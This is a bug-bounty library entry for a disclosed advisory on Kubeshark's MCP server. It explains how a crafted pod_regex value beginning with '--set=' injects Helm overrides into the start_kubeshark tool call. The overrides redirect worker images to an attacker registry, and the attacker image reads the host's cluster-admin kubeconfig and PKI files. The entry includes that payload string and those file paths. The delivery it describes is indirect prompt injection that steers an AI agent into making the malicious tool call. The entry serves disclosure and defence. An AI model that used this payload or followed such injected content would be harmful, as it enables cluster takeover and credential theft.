# Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover

Kubeshark MCP start_kubeshark appended pod_regex as a bare positional, so a leading --set= injected Helm overrides redirecting worker images to an attacker registry, yielding cluster-admin.

- Payout: Research
- Severity: high
- Program: Kubeshark
- Found by: novice-22
- Disclosed: 2026-11-16
- CVE: CVE-2026-129236
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8vf2-hxg5-crqh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8vf2-hxg5-crqh
- Tags: area:ai domain:ai domain:cloud impact:privesc impact:rce kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:chained technique:source-review vuln:command-injection vuln:privilege-escalation

**Target:** kubeshark CLI MCP server (start_kubeshark tool, cmd/mcpRunner.go)
**Root cause:** callStartKubeshark built `tap <pod_regex> ...` with pod_regex as a raw positional and no `--` end-of-options separator; cobra parses a leading `-`/`--set=` token as a flag, letting the caller inject arbitrary Helm --set overrides.
**Steps:**
1. Run `kubeshark mcp --allow-destructive` (only then is start_kubeshark registered).
2. Invoke start_kubeshark with `pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>"`.
3. CLI constructs `kubeshark tap --set=... --set headless=true`, deploying attacker worker/hub/front images.
4. Attacker image runs as root in the privileged, hostNetwork worker DaemonSet with host filesystem mounted.
5. Read host cluster-admin kubeconfigs (`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) for cluster takeover.
**How found:** Reporter noticed pod_regex was appended as a bare positional to a cobra command with no `--` guard, and that cobra parses flags positionally-agnostic, so a leading --set= would be treated as a real flag.
**Exploitation:** Attacker influences agent-ingested content (indirect prompt injection) so the agent replays a crafted pod_regex into the local MCP tool call; the injected --set overrides point tap.docker.registry/tag at an attacker image, which deploys privileged and reads host kubeconfigs for cluster-admin.
**Escalation:** Flag injection → Helm value override → attacker-controlled privileged DaemonSet → host filesystem access → cluster-admin kubeconfig theft.
**Insight:** When an MCP/agent tool shells out to a cobra/CLI command, any caller-supplied string placed as a bare positional is a flag-injection primitive; check whether a `--` separator precedes it, and whether injected --set/--config flags can redirect images or config paths.

## Proof of concept (copied exactly from the original report)

**Injected pod_regex with --set image override**

```
`start_kubeshark` with
`pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>"` caused
the CLI to construct `kubeshark tap --set=… --set headless=true`, deploying an
attacker image. The image ran as root inside the privileged worker container and
read the host's cluster-admin kubeconfigs
```

